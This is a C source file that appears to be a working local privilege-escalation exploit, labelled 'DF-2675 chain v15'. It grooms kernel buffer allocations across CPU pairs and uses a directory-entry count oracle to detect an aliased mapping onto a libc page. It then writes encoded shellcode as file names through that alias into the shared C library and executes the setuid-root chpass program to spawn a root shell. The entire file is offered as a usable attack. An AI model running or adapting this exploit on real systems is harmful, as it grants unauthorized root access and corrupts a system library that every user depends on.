DF-2675 / chain16.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 | /* DF-2675 chain v15 runner: libc 0x100000 window, fflush landing (chpass). * * Groom: per attempt k over 6 (vcpu,ocpu) pairings: * [ocpu] getdents(D_k) -> O_k = fresh 17-page dir buffer (baseline 1984) * [vcpu] flip-read libc @0x100000 (65536 <-> 2048 alternating) -> V's * allocbuf re-qenter lands AFTER O_k; when O_k == V-1 the aliased * KVA maps V's page-0 (the libc window) * [ocpu] getdents(D_k) -> oracle: entry count != 1984 * On hit: create the 3 payload files in D_k (dirent records write through * the alias into the libc window page), then exec /usr/bin/chpass: its stdio * fflush at exit lands on the stub -> execve("/bin/sh",{S,0},NULL) euid=0. */ #include <sys/types.h> #include <sys/usched.h> #include <dirent.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define VICTIM "/lib/libc.so.8" #define WINOFF 0x100000 #define NDIRS 396 #define BASELINE 1984 static const unsigned char NAME1[] = {130,116,130,169,171,150,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,140,145,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,138,244,152,253,137,85,130,103,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,80,130,116,163,209}; static const unsigned char NAME2[] = {80,80,80,80,80,80,80,80,80,80,80}; static const unsigned char NAME3[] = {80,80,80,80,80,80,80,80,130,169,131,70,80,80,80,135,244,131,185,131,189,131,185,130,103,80,80,80,80,80,80,80}; static int pin(int cpu) { return usched_set(0, USCHED_SET_CPU, &cpu, sizeof(cpu)); } static int vfd = -1; static int jfd = -1; static off_t joff = 0; static int read_victim(void) { static char big[65536]; if (vfd < 0) { vfd = open(VICTIM, O_RDONLY); if (vfd < 0) return -1; } return (int)pread(vfd, big, 65536, WINOFF); } static int junk(void) { static char buf[65536]; if (jfd < 0) { jfd = open("/root/junk.bin", O_RDONLY); if (jfd < 0) return -1; } if (pread(jfd, buf, 65536, joff) <= 0) return 0; joff += 65536; return 1; } static int count_dirents_fd(int fd) { char buf[32768]; struct dirent *db; int n = 0, r; if (lseek(fd, 0, SEEK_SET) < 0) return -1; while ((r = getdents(fd, buf, sizeof(buf))) > 0) { for (db = (struct dirent *)buf; (char *)db < buf + r; db = _DIRENT_NEXT(db)) n++; } return n; } static int mkfile(int dfd, const unsigned char *name, size_t len, unsigned int size, int dowrite) { char fname[600], path[1024]; int fd; memcpy(fname, name, len); fname[len] = 0; fd = openat(dfd, fname, O_CREAT | O_EXCL | O_WRONLY, 0644); if (fd < 0) { warn("openat create"); return -1; } if (dowrite) { if (write(fd, "A", 1) != 1) { warn("write1"); close(fd); return -1; } if (pwrite(fd, "A", 1, (off_t)size - 1) != 1) { warn("pwrite"); close(fd); return -1; } fsync(fd); } close(fd); return 0; } int main(int argc, char **argv) { int vcpu0 = argc > 1 ? atoi(argv[1]) : 0; int k, n, pair, vcpu, ocpu, hitk = -1, hitfd = -1; int fds[NDIRS]; char dir[256]; setvbuf(stdout, NULL, _IOLBF, 0); printf("[*] DF-2675 chain v15: V=%s+%#x (libc window, fflush landing)\n", VICTIM, WINOFF); printf("[*] V will be (re)created inside each attempt, AFTER the O\n"); /* prefetch dir fds (root buffer cached once) */ for (k = 0; k < NDIRS; k++) { snprintf(dir, sizeof(dir), "/mnt/D%03d", k); fds[k] = open(dir, O_RDONLY); if (fds[k] < 0) err(1, "open %s", dir); } printf("[*] %d dir fds prefetched\n", NDIRS); /* exhaust the buffer-header pool up front so every subsequent junk * read recycles the oldest buffers -- the libc V gets recycled a few * attempts after each use and re-created fresh AFTER each O */ { int i; printf("[*] burning the buffer pool (13000 x 64KB reads)...\n"); for (i = 0; i < 13000; i++) { if (!junk()) { printf("[!] junk exhausted at %d\n", i); break; } } printf("[*] pool burned (junk off %#llx)\n", (unsigned long long)joff); } for (pair = 0; pair < 6 && hitk < 0; pair++) { int vcpu = (vcpu0 + pair) % 6; int ocpu = (vcpu + 5) % 6; printf("[*] pairing %d: vcpu=%d ocpu=%d\n", pair, vcpu, ocpu); for (k = pair * (NDIRS / 6); k < (pair + 1) * (NDIRS / 6); k++) { if (pin(ocpu) < 0) err(1, "pin o"); n = count_dirents_fd(fds[k]); if (n != BASELINE) { printf("[!] D%03d baseline=%d -- skip\n", k, n); continue; } junk(); junk(); /* churn BEFORE V: recycles older V's */ if (pin(vcpu) < 0) err(1, "pin v"); /* V-candidate on vcpu: claims h+1 right after the O (fresh * once the pool recycles the previous libc buffer). The * oracle follows immediately -- V still holds the PTE. */ read_victim(); if (pin(ocpu) < 0) err(1, "pin o2"); n = count_dirents_fd(fds[k]); if (n == BASELINE) continue; printf("[+] ALIAS at D%03d: readdir = %d entries (baseline %d)\n", k, n, BASELINE); hitk = k; hitfd = fds[k]; break; } } if (hitk < 0) errx(2, "no alias in %d dirs", NDIRS); printf("[*] writing payload into D%03d...\n", hitk); if (mkfile(hitfd, NAME1, sizeof(NAME1), 0, 0) < 0) return 3; printf("[*] file1 done (g1: records 37..47)\n"); if (mkfile(hitfd, NAME2, sizeof(NAME2), 0x403C, 1) < 0) return 3; printf("[*] file2 done (mov edi,0x403c18; cluster 0x18BF size 0x403C)\n"); if (mkfile(hitfd, NAME3, sizeof(NAME3), 0x050F, 1) < 0) return 3; printf("[*] file3 done (54 5E / 0F 05; cluster 0x5E54 size 0x050F)\n"); printf("[*] trigger: exec /usr/bin/chpass (setuid-root; fflush at exit)\n"); fflush(stdout); { char *av[] = {"/usr/bin/chpass", NULL}; execve("/usr/bin/chpass", av, NULL); } err(1, "execve chpass"); return 0; } |